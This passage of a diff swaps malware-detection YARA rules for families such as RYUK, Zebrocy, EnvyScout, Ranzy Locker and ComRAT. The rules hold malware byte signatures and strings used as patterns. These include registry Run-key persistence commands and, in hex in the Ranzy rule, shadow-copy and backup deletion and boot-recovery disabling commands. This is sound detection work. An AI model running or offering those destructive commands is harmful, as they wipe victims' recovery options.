\"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /t REG_SZ /d \"" fullword wide - $r2 = "/C REG DELETE \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"EV\" /f" fullword wide - $ref1 = "lsaas.exe" fullword wide - $ref2 = "Ncsrss.exe" fullword wide - $ref3 = "$WGetCurrentProcess" fullword ascii - $ref4 = "lan.exe" fullword wide - $ref5 = "explorer.exe" fullword wide - $ref6 = "Ws2_32.dll" fullword ascii - $p1 = "\\users\\Public\\sys" fullword wide - $p2 = "\\Documents and Settings\\Default User\\sys" fullword wide + $s1 = { 8b ff 55 8b ec 81 ec 1c 01 00 00 a1 00 ?? 01 10 33 c5 89 45 fc 8b 4d 0c 53 8b 5d 14 56 8b 75 08 89 b5 fc fe ff ff 89 9d f8 fe ff ff 57 8b 7d 10 89 bd 00 ff ff ff 85 f6 75 25 85 c9 74 21 e8 [2] ff ff c7 00 16 00 00 00 e8 [2] ff ff 8b 4d fc 5f 5e 33 cd 5b e8 [2] ff ff 8b e5 5d c3 85 ff 74 db 85 db 74 d7 c7 85 f4 fe ff ff 00 00 00 00 83 f9 02 72 d8 49 0f af cf 03 ce 89 8d 04 ff ff ff 8b c1 33 d2 2b c6 f7 f7 8d 78 01 83 ff 08 0f 87 dc 00 00 00 8b bd 00 ff ff ff 3b ce 0f 86 a1 00 00 00 8d 14 37 89 95 ec fe ff ff 8d 49 00 8b c6 8b f2 89 85 08 ff ff ff 3b f1 77 31 8b ff 50 56 8b cb ff 15 [2] ?? 10 ff d3 83 c4 08 85 c0 7e 0a 8b c6 89 85 08 ff ff ff eb 06 8b 85 08 ff ff ff 8b 8d 04 ff ff ff 03 f7 3b f1 76 d1 8b d1 3b c1 74 34 2b c1 8b df 89 85 08 ff ff ff 90 8a 0c 10 8d 52 01 8b b5 08 ff ff ff 8a 42 ff 88 44 16 ff 8b c6 88 4a ff 83 eb 01 75 e3 8b 9d f8 fe ff ff 8b 8d 04 ff ff ff 8b b5 fc fe ff ff 2b cf 8b 95 ec fe ff ff 89 8d 04 ff ff ff 3b } + $s2 = { 8b b5 00 ff ff ff 8b cb 8b 85 fc fe ff ff d1 ef 0f af fe 03 f8 57 50 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 57 ff b5 fc fe ff ff e8 1b fe ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb ff b5 fc fe ff ff ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 15 56 ff b5 04 ff ff ff ff b5 fc fe ff ff e8 e9 fd ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb 57 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 ff b5 04 ff ff ff 57 e8 c1 fd ff ff 83 c4 0c 8b 85 04 ff ff ff 8b d8 8b b5 fc fe ff ff 8b 95 00 ff ff ff 89 85 08 ff ff ff 8d 64 24 00 3b fe 76 37 03 f2 89 b5 f0 fe ff ff 3b f7 73 25 8b 8d f8 fe ff ff 57 56 ff 15 [3] 10 ff 95 f8 fe ff ff 8b 95 00 ff ff ff 83 c4 08 85 c0 7e d3 3b fe 77 3d 8b 85 04 ff ff ff 8b 9d f8 fe ff ff 03 f2 3b f0 77 1f 57 56 8b cb ff 15 [3] 10 ff d3 8b 95 00 ff ff ff 83 c4 08 85 c0 8b 85 04 ff ff ff 7e db 8b 9d 08 ff ff ff 89 b5 f0 fe ff ff 8b b5 f8 fe ff ff eb 06 8d 9b 00 00 00 00 8b 95 00 ff ff ff 8b c3 2b da 89 85 08 ff ff ff 3b df 76 1f 57 53 8b ce ff 15 [3] 10 ff d6 83 c4 08 85 c0 7f d9 8b 95 00 ff ff ff 8b 85 08 ff ff ff 8b b5 f0 fe ff ff 89 9d 08 ff ff ff } + $s3 = { 8b 45 f4 89 7d f8 8d 04 86 8b c8 89 45 e8 8b c7 89 4d f4 3b 45 dc 74 5b 8b d6 2b d7 89 55 e4 8b 00 8b d0 89 45 ec 8d 42 01 89 45 f0 8a 02 42 84 c0 75 f9 2b 55 f0 8d 42 01 50 ff 75 ec 89 45 f0 8b 45 e8 2b c1 03 45 fc 50 51 e8 [2] 00 00 83 c4 10 85 c0 75 72 8b 45 f8 8b 55 e4 8b 4d f4 89 0c 02 83 c0 04 03 4d f0 89 4d f4 89 45 f8 3b 45 dc 75 ac 8b 45 0c 89 5d f8 89 30 8b f3 53 e8 [2] ff ff 59 8b 45 dc 8b d7 2b c2 89 55 e4 83 c0 03 c1 e8 02 39 55 dc 1b c9 f7 d1 23 c8 89 4d e8 74 18 8b f1 ff 37 e8 [2] ff ff 43 8d 7f 04 59 3b } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 4 of ( $c* ) and 1 of ( $r* ) and 4 of ( $ref* ) and 1 of ( $p* ) + uint16( 0 ) == 0x5a4d and filesize > 50KB and all of ( $s* ) } -rule ARKBIRD_SOLG_Mem_Cryptor_Obsidium_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Envyscout_May_2021_1 : FILE { meta: - description = "Detect Obsidium cryptor by memory string" + description = "Detect EnvyScout downloader" author = "Arkbird_SOLG" - id = "039c45f0-cc43-50ee-ae4e-a7e0e220dc04" - date = "2020-10-25" - modified = "2020-10-27" + id = "645f60d1-7c95-515c-a88e-d8528cf8b644" + date = "2021-05-28" + modified = "2021-06-02" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Mem_Cryptor_Obsidium_Oct_2020_1.yar#L1-L15" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_EnvyScout_May_2021_1.yara#L1-L20" license_url = "N/A" - logic_hash = "5f471064505d7ab634b6d52f66fa0a96682af2eb1dd41afe4449543253c6bbf7" + logic_hash = "7ce4fd18c88f7ea7486c51fc0b673d178bd26ecc2f4a39ec9c5a4a71aaa0daa1" score = 75 - quality = 50 + quality = 73 tags = "FILE" + hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11" + hash2 = "9059c5b46dce8595fcc46e63e4ffbceeed883b7b1c9a2313f7208a7f26a0c186" + tlp = "White" + adversary = "NOBELIUM" strings: - $s1 = "Obsidium\\" fullword ascii - $s2 = "obsidium.dll" fullword ascii - $s3 = "Software\\Obsidium" fullword ascii - $s4 = "winmm.dll" fullword ascii - $s5 = "'license.key" fullword ascii + $s1 = "==typeof window&&window.window===window?window:" fullword ascii + $s2 = "==typeof self&&self.self===self?self:" fullword ascii + $s3 = "0===t?t={autoBom:!1}:" fullword ascii + $s4 = "_global.saveAs=saveAs.saveAs=saveAs" fullword ascii + $s5 = "navigator.userAgent" fullword ascii + $s6 = { 6e 65 77 20 42 6c 6f 62 28 5b [1-12] 5d 2c 20 7b 74 79 70 65 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 22 7d 29 3b 73 61 76 65 41 73 28 } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 3 of ( $s* ) + filesize > 100KB and 5 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Ruyk_Oct_2020_2 : FILE +rule ARKBIRD_SOLG_MAL_Enc_Payload_May_2021_1 : FILE { meta: - description = "Detect RYUK ransomware (Sept_2020_V1 + V2)" + description = "Detect encrypted payload, must be with others APT29 rules maybe give lot fake postives due to the pdf header" author = "Arkbird_SOLG" - id = "82ed6736-00e6-5a30-89cf-a2b86f2e1ba6" - date = "2020-10-25" - modified = "2020-10-28" + id = "34da1d06-7892-59ec-8b11-c3278a7f2e34" + date = "2021-05-28" + modified = "2021-06-02" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-27/RYUK/Ran_Ruyk_Oct2020_2.yar#L1-L29" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_Enc_payload_May_2021_1.yara#L1-L17" license_url = "N/A" - logic_hash = "a06d61b9363b732d17a2766b280951198a6adc226e284ab1d909cd98516cfb6f" - score = 75 - quality = 46 + logic_hash = "484d9947d8acd32126cdc3e3f671cd3b3b048bbdb608d5573f6fcc7e4ddf13f8" + score = 50 + quality = 75 tags = "FILE" - hash1 = "d0d7a8f588693b7cc967fb4069419125625eb7454ba553c0416f35fc95307cbe" - hash2 = "d7333223dcc1002aae04e25e31d8c297efa791a2c1e609d67ac6d9af338efbe8" - hash3 = "bbbf38de4f40754f235441a8e6a4c8bdb9365dab7f5cfcdac77dbb4d6236360b" - hash4 = "cfe1678a7f2b949966d9a020faafb46662584f8a6ac4b72583a21fa858f2a2e8" - hash5 = "e8a0e80dfc520bf7e76c33a90ed6d286e8729e9defe6bb7da2f38bc2db33f399" - hash6 = "5b1f242aee0eabd4dffea0fe5f08aba60abf7c8d1e4f7fc7357af7f20ccd0204" + hash1 = "23e20d630a8fd12600c2811d8f179f0e408dcb3e82600456db74cbf93a66e70f" + hash2 = "656384c4e5f9fe435d51edf910e7ba28b5c6d183587cf3e8f75fb2d798a01eeb" + level = "Experimental" + tlp = "White" + adversary = "NOBELIUM" strings: - $s1 = "Type Descriptor'" fullword ascii - $s2 = "Class Hierarchy Descriptor'" fullword ascii - $s3 = "GET:PV" fullword ascii - $s4 = "Base Class Descriptor at (" fullword ascii - $s5 = "Complete Object Locator'" fullword ascii - $s6 = "UINi\\cYIqwxAcV^GYCY^EgzUvSZcsRW" fullword ascii - $s7 = "FrystFsgcteIaui" fullword ascii - $s8 = "delete[]" fullword ascii - $s9 = "Picuovphv Bbsg!Es|rwojrarkkd Stryjfes x4.3" fullword ascii - $s10 = "FrystGfuvrozHctj" fullword ascii - $s11 = "FrystUfngasfCqovf{v" fullword ascii - $op1 = { 63 62 6d 75 6a 7a 6e 49 4d 54 50 78 75 70 78 59 6f 65 71 4f 57 48 4a 78 57 71 4c 50 55 78 4a 6e 68 4b 71 57 57 6d 49 75 6a 51 64 4f 50 74 70 63 76 61 42 72 75 5a 6a 4d 69 79 59 52 69 58 78 4a 63 6b 51 70 4b 75 47 52 5a 51 42 5a 5a 61 50 69 76 66 77 43 6c 45 5a 67 76 6e 49 6c 54 74 4b 46 4d 68 53 4a 42 4f 64 6a 69 46 44 4d 62 70 78 76 52 5a 69 61 74 69 71 5a 6e 75 67 5a 62 78 72 51 } - $op2 = { 23 71 59 72 51 6d 58 48 4a 77 65 55 53 76 68 79 4f 62 51 50 6d 44 44 52 44 6e 72 49 53 57 6c 72 56 4a 56 75 68 52 4e 4a 66 6b 50 6e 6b 72 65 68 73 6e 6b 68 54 4e 70 6a 56 7a 7a 64 61 44 6e 62 44 67 5a 54 62 4b 65 63 54 69 35 4f 71 20 64 24 2d } + $s1 = { 25 50 44 46 2d 31 2e 33 0a 25 06 8b c4 1c c5 86 66 f3 dc 75 f9 3b dd 8c 44 e3 d3 a4 74 9d 94 4e 2e 0f d9 01 a6 f2 88 6a a8 0b 16 1b 1a fc 60 3f 72 7a 1b c1 a7 bb 2f 19 31 6d 6f 79 db 20 f6 c7 fa e7 eb b9 88 77 de 1f a1 92 d7 ea 68 a9 b7 89 17 92 e8 b2 bb a5 58 56 b4 30 60 f8 28 0c 54 7b 2b 68 ba 7e 01 01 6d ad 2e 6d 72 67 1e b0 a8 ea 42 82 bd 14 9a 86 f0 0d 9a 8b 92 76 b3 b3 7d ef 69 24 2c 9f c2 ca e9 c9 b3 } + $s2 = { 25 25 45 4f 46 0a } condition: - uint16( 0 ) == 0x5a4d and filesize > 40KB and 6 of ( $s* ) and 1 of ( $op* ) + filesize > 50KB and all of ( $s* ) } -rule ARKBIRD_SOLG_APT_APT28_VHD_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_APT_APT28_Downdelph_Feb_2021_1 : FILE { meta: - description = "Detect suspicious VHD file with APT28 artefacts inside (November 2020)" + description = "Detect Downdelph used by APT28 group" author = "Arkbird_SOLG" - id = "25452eaa-f135-5b7f-a523-67715a2ab9f7" - date = "2020-12-09" - modified = "2020-12-10" - reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L3-L35" + id = "0376c026-93eb-526a-8ab3-26bdd365e608" + date = "2021-02-18" + modified = "2021-02-19" + reference = "https://twitter.com/RedDrip7/status/1362343352759250946" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-18/APT28/APT_APT28_Downdelph_Feb_2021_1.yar#L1-L18" license_url = "N/A" - logic_hash = "d72c3428cf731feb63c59ef109b99ec234e69bb6df34bdde928cc4b886f0533b" - score = 50 - quality = 69 + logic_hash = "15e38ceeb0410645938ce2f90becf9a344711efd6e539f304de7b413f6f3b420" + score = 75 + quality = 75 tags = "FILE" - level = "experimental" - hash1 = "707b752f6bd89d4f97d08602d0546a56d27acfe00e6d5df2a2cb67c5e2eeee30" + hash1 = "ee7cfc55a49b2e9825a393a94b0baad18ef5bfced67531382e572ef8a9ecda4b" strings: - $c1 = { 49 6e 76 61 6c 69 64 20 70 61 72 74 69 74 69 6f 6e 20 74 61 62 6c 65 00 45 72 72 6f 72 20 6c 6f 61 64 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 4d 69 73 73 69 6e 67 20 6f 70 65 72 61 74 69 6e 67 20 73 79 73 74 65 6d 00 00 00 63 7b } - $c2 = { 52 90 4e 54 46 53 } - $c3 = { 41 20 64 69 73 6b 20 72 65 61 64 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 00 0d 0a 42 4f 4f 54 4d 47 52 20 69 73 20 63 6f 6d 70 72 65 73 73 65 64 00 0d 0a 50 72 65 73 73 20 43 74 72 6c 2b 41 6c 74 2b 44 65 6c 20 74 6f 20 72 65 73 74 61 72 74 } - $c4 = { 42 00 4f 00 4f 00 54 00 4d 00 47 00 52 00 04 00 24 00 49 00 33 00 30 } - $c5 = { 4e 00 54 00 4c 00 44 00 52 00 07 00 42 00 4f 00 4f 00 54 00 54 00 47 00 54 00 07 00 42 00 4f 00 4f 00 54 00 4e 00 58 00 54 } - $c6 = { 46 49 4c 45 30 00 03 00 8? ?d } - $c7 = { 24 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 60 00 00 00 40 } - $s1 = { 46 61 73 74 4d 4d 20 42 6f 72 6c 61 6e 64 20 45 64 69 74 69 6f 6e 20 a9 20 32 30 30 34 2c 20 32 30 30 35 20 50 69 65 72 72 65 20 6c 65 20 52 69 63 68 65 20 2f 20 50 72 6f 66 65 73 73 69 6f 6e 61 6c 20 53 6f 66 74 77 61 72 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 } - $s2 = { 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 52 54 4c 00 46 50 55 4d 61 73 6b 56 61 6c 75 65 } - $s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c } - $s4 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 00 00 6c 61 79 6f 75 74 20 74 65 78 74 } - $s5 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 } - $s6 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 } - $s7 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 00 11 00 53 00 74 00 72 00 65 00 61 00 6d 00 20 00 72 00 65 00 61 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 } - $s8 = { 25 73 2c 20 43 6c 61 73 73 49 44 3a 20 25 73 } - $s9 = { 43 6f 6e 6e 65 63 74 4b 69 6e 64 b0 10 40 00 44 00 00 ff 44 00 00 ff 01 00 00 00 00 00 00 80 00 00 00 80 04 00 11 52 65 6d 6f 74 65 4d 61 63 68 69 6e 65 4e 61 6d 65 } - $s10 = { 22 20 4e 54 2f 20 [1-4] 20 4f 4d 2f 20 45 54 55 4e 49 4d 20 43 53 2f 20 65 74 61 65 72 43 2f 20 73 6b 73 61 74 68 63 73 } - $s11 = { 2f 2f 3a 70 74 74 68 } + $s1 = { 53 [1-3] 81 c4 [2] ff ff 8b f2 8b ?? 54 8d 44 24 08 50 68 04 01 00 00 8b ?? e8 [12-22] 8d 54 24 04 8b c6 [73-133] 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 0c 89 01 89 51 04 8b 45 f0 33 d2 52 50 8b 45 e8 8b 55 ec e8 [3] ff 8b 4d 10 89 01 89 51 04 8b c3 5b 8b e5 5d } + $s2 = "cmd.exe /c " fullword ascii + $s3 = "Failed to Save Stream %s is already associated with %s=This control requires version 4.70 or greater of COMCTL32.DLL" fullword wide + $s4 = { 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 5c 00 4b 00 65 00 79 00 62 00 6f 00 61 00 72 00 64 00 20 00 4c 00 61 00 79 00 6f 00 75 00 74 00 73 00 5c 00 25 00 2e 00 38 00 78 } + $s5 = { 4a 00 50 00 45 00 47 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 23 00 25 00 64 } + $s6 = { 45 00 72 00 72 00 6f 00 72 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 3a 00 20 00 25 00 73 } condition: - uint16( 0 ) == 0x33c0 and filesize > 40KB and 5 of ( $c* ) and 8 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 5 of them } - -rule ARKBIRD_SOLG_APT_APT28_Zebrocy_GO_Downloader_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_Ran_Ranzy_Locker_Nov_2020_1 : FILE { meta: - description = "Detect Zebrocy Go downloader (November 2020)" + description = " Detect Ranzy Locker (RAAS)" author = "Arkbird_SOLG" - id = "114c0297-7168-5d20-b56b-89b0b47f18c7" - date = "2020-12-09" - modified = "2020-12-10" - reference = "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/APT28/APT_APT28_Nov_2020_1.yar#L37-L65" + id = "7e81d73a-ef18-5f89-b6b3-f56212d30b4a" + date = "2020-11-19" + modified = "2020-11-19" + reference = "https://labs.sentinelone.com/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-19/Ranzy_Locker/Ran_Ranzy_Locker_Nov_2020_1.yar#L1-L36" license_url = "N/A" - logic_hash = "e7b2e7c250f3a98127399176adf9f93b758f0a5111e126dd0a75a3fb95a48da9" - score = 50 - quality = 61 + logic_hash = "e27017fa196d14b88c5cb682a070d10e42b63f9e21189d9917c0ae03c47216cc" + score = 75 + quality = 75 tags = "FILE" - level = "experimental" - hash1 = "61c2e524dcc25a59d7f2fe7eff269865a3ed14d6b40e4fea33b3cd3f58c14f19" - hash2 = "f36a0ee7f4ec23765bb28fbfa734e402042278864e246a54b8c4db6f58275662" + hash1 = "393fd0768b24cd76ca653af3eba9bff93c6740a2669b30cf59f8a064c46437a2" + hash2 = "90691a36d1556ba7a77d0216f730d6cd9a9063e71626489094313c0afe85a939" + hash3 = "ade5d0fe2679fb8af652e14c40e099e0c1aaea950c25165cebb1550e33579a79" + hash4 = "bbf122cce1176b041648c4e772b230ec49ed11396270f54ad2c5956113caf7b7" + hash5 = "c4f72b292750e9332b1f1b9761d5aefc07301bc15edf31adeaf2e608000ec1c9" strings: - $c1 = "os.(*ProcessState).sys" fullword ascii - $c2 = "os/exec.(*ExitError).Sys" fullword ascii - $c3 = "os/exec.ExitError.Sys" fullword ascii - $c4 = "os.(*ProcessState).Sys" fullword ascii - $p1 = "syscall.CreatePipe" fullword ascii - $p2 = "os.Pipe" fullword ascii - $p3 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 70 69 70 65 29 2e 63 6c 6f 73 65 44 6f 6e 65 4c 6f 63 6b 65 64 } - $p4 = { 6e 65 74 2f 68 74 74 70 2e 28 2a 68 74 74 70 32 63 6c 69 65 6e 74 53 74 72 65 61 6d 29 2e 67 65 74 53 74 61 72 74 65 64 57 72 69 74 65 } - $op1 = { 75 5f 67 3d 25 73 20 25 71 25 73 2a 25 64 25 73 3d 25 73 26 23 33 34 3b 26 23 33 39 3b 26 61 6d 70 3b } - $op2 = { 70 63 3d 25 21 28 4e 4f 56 45 52 42 29 25 21 57 65 65 6b 64 61 79 28 25 73 7c 25 73 25 73 7c 25 73 28 42 41 44 49 4e 44 45 58 29 } - $op3 = { 48 54 54 50 5f 50 52 4f 58 59 48 6f 73 74 3a 20 25 73 0d 0a 49 50 20 61 64 64 72 65 73 73 4b 65 65 70 2d 41 6c 69 76 65 } - $op4 = { 63 6f 6e 6e 65 63 74 69 6f 6e 20 65 72 72 6f 72 3a 20 25 73 63 6f 6e 6e 65 63 74 69 6f 6e 20 74 69 6d 65 64 20 6f 75 74 } - $op5 = { 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d } - $op6 = { 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 54 45 53 54 49 4e 47 20 4b 45 59 2d 2d 2d 2d 2d } + $s1 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550" ascii + $s2 = "776D69632E65786520534841444F57434F5059202F6E6F696E746572616374697665" ascii + $s3 = "76737361646D696E2E6578652044656C65746520536861646F7773202F416C6C202F5175696574" ascii + $s4 = "776261646D696E2044454C4554452053595354454D53544154454241434B5550202D64656C6574654F6C64657374" ascii + $s5 = "534F4654574152455C4D6963726F736F66745C45524944" ascii + $s6 = "626364656469742E657865202F736574207B64656661756C747D20626F6F74737461747573706F6C6963792069676E6F7265616C6C6661696C75726573" + $s7 = "7B5549447D" ascii + $s8 = "7B5041545445524E5F49447D" ascii + $s9 = "726561646D652E747874" ascii + $s10 = "226E6574776F726B223A22" ascii + $s11 = "226C616E67223A22" ascii + $s12 = "7B4558547D" ascii + $s13 = "476C6F62616C5C33353335354641352D303745392D343238422D423541352D314338384341423242343838" + $s14 = "433A5C50726F6772616D2046696C65735C4D6963726F736F66742053514C20536572766572" ascii + $s15 = "433A5C50726F6772616D2046696C65732028783836295C4D6963726F736F66742053514C20536572766572" ascii + $s16 = "227375626964223A22" ascii + $s17 = "22657874223A22" ascii + $s18 = "226B6579223A22" ascii + $seq1 = { 8b 46 50 8d 4d a4 83 7d d4 10 53 8b 1d 14 80 41 00 89 45 a4 8d 45 c0 0f 43 45 c0 51 50 6a 00 6a 01 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 b9 00 00 00 8b 46 68 8d 4d a4 83 7d ec 10 57 89 45 a4 8d 45 d8 0f 43 45 d8 33 ff 51 50 6a 00 47 57 6a 00 ff 35 e8 1c 42 00 ff d3 85 c0 0f 84 8a 00 00 00 c6 45 fc 02 33 db 8b 45 e8 8b 4d d0 03 c1 6a 0f 5a 89 5d b8 89 55 bc 88 5d a8 89 7d a4 3b c2 76 15 88 5d a0 8d 4d a8 ff 75 a0 50 e8 78 02 00 00 8b 4d d0 89 5d b8 83 7d d4 10 8d 45 c0 51 0f 43 45 c0 8d 4d a8 50 e8 ca de ff ff 83 7d ec 10 8d 45 d8 ff 75 e8 0f 43 45 d8 8d 4d a8 50 e8 b3 de ff ff 8d 45 a8 50 8d 4e 70 e8 b8 d8 ff ff 8d 4d a8 e8 3f bf ff ff 8d 4d d8 e8 37 bf ff ff 8d 4d c0 e8 2f bf ff ff b0 01 eb 12 8d 4d d8 e8 23 bf ff ff 8d 4d c0 e8 1b bf ff ff 32 c0 e8 3f f1 } + $seq2 = { 8b 75 08 33 ff 8b 55 0c 33 c0 89 b5 68 fb ff ff 89 bd ac fb ff ff c7 85 b0 fb ff ff 07 00 00 00 66 89 85 9c fb ff ff 89 7d fc 39 7a 10 0f 84 da 00 00 00 6a 02 0f 57 c0 8d 8d 84 fb ff ff 58 66 0f 13 85 bc fb ff ff 66 89 85 b4 fb ff ff e8 6e ac ff ff 83 78 14 10 72 02 8b 00 50 ff 15 18 82 41 00 8d 8d 84 fb ff ff 89 85 b8 fb ff ff e8 8f a8 ff ff 68 87 69 00 00 ff 15 0c 82 41 00 bb 01 04 00 00 66 89 85 b6 fb ff ff 53 8d 85 c4 fb ff ff 57 50 e8 fd 2d 00 00 83 c4 0c 8d 7d cc 33 c0 6a 08 59 6a 08 6a 20 f3 ab 8d 45 cc 50 53 8d 85 c4 fb ff ff 50 6a 10 8d 85 b4 fb ff ff 50 ff 15 1c 82 41 00 85 c0 75 45 8d 85 c4 fb ff ff 50 8d 8d 6c fb ff ff e8 7f a8 ff ff 8b d0 c6 45 fc 01 8d 8d 84 fb ff ff e8 26 ab ff ff 50 8d 8d 9c fb ff ff e8 88 bf ff ff 8d 8d 84 fb ff ff e8 c8 c2 ff ff 8d 8d 6c fb ff ff e8 f5 a7 ff ff 8d 85 9c fb } condition: - uint16( 0 ) == 0x4d5a and filesize > 800KB and ( pe.imphash ( ) == "91802a615b3a5c4bcc05bc5f66a5b219" ) and 3 of ( $c* ) and 3 of ( $p* ) and 3 of ( $op* ) + uint16( 0 ) == 0x5a4d and filesize > 80KB and 10 of ( $s* ) and 1 of ( $seq* ) } -rule ARKBIRD_SOLG_Ran_ELF_EXX_Nov_2020_1 : FILE +rule ARKBIRD_SOLG_APT_Turla_Comrat_Chinch_V4_Jan_2021_1 : FILE { meta: - description = "Detect EXX variant ELF ransomware" + description = "Detect ComRAT V4 (Chinch) used by APT Turla group" author = "Arkbird_SOLG" - id = "fe85d480-317a-51c3-a817-fc9034e2944f" - date = "2020-12-09" - modified = "2020-12-09" + id = "7d4daf3d-eed9-59fb-a4b9-fbc1c72adfcd" + date = "2021-01-23" + modified = "2021-01-26" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-12-09/EXX/Ran_ELF_EXX_Nov_2020_1.yar#L1-L28" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-23/Turla/APT_Turla_ComRAT_Chinch_V4_Jan_2021_1.yar#L1-L28" license_url = "N/A" - logic_hash = "4508a0cf79d0d85959009f59e1471cbf123fa24f5c21da5801e91ed0bbe8a085" - score = 50 - quality = 73 + logic_hash = "0d92207c4716f8d2fbf1d4f0cf3a33c38417fdd1565c87c251f7ff290135c435" + score = 75 + quality = 75 tags = "FILE" - level = "experimental" - hash1 = "cb408d45762a628872fa782109e8fcfc3a5bf456074b007de21e9331bb3c5849" + hash1 = "a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56" strings: - $dbg1 = { 55 6e 65 78 70 65 63 74 65 64 20 65 72 72 6f 72 2c 20 72 65 74 75 72 6e 20 63 6f 64 65 20 3d 20 25 30 38 58 0a } - $dbg2 = { 47 72 65 65 74 69 6e 67 73 20 [3-10] 21 } - $dbg3 = { 63 79 63 6c 65 73 3d 25 6c 75 20 72 61 74 69 6f 3d 25 6c 75 20 6d 69 6c 6c 69 73 65 63 73 3d 25 6c 75 20 73 65 63 73 3d 25 6c 75 20 68 61 72 64 66 61 69 6c 3d 25 64 20 61 3d 25 6c 75 20 62 3d 25 6c 75 0a } - $dbg4 = { 53 48 41 2d 25 64 20 74 65 73 74 20 23 25 64 3a } - $lib1 = "pthread_mutex_unlock@@GLIBC_2.2.5" fullword ascii - $lib2 = "pthread_mutex_lock@@GLIBC_2.2.5" fullword ascii - $lib3 = "mbedtls_rsa_import" fullword ascii - $lib4 = "mbedtls_rsa_export" fullword ascii - $lib5 = "mbedtls_oid_get_extended_key_usage" fullword ascii - $lib6 = "mbedtls_sha256_process" fullword ascii - $seq1 = { 48 83 ec 20 89 7d ec 48 89 75 e0 b8 00 00 00 00 e8 77 00 00 00 48 8d 45 f0 b9 00 00 00 00 48 8d 15 b5 ff ff ff be 00 00 00 00 48 89 c7 e8 d6 fb ff ff c7 45 fc 01 00 00 00 eb } - $seq2 = { 00 00 00 00 e8 b2 fe ff ff 48 8b 45 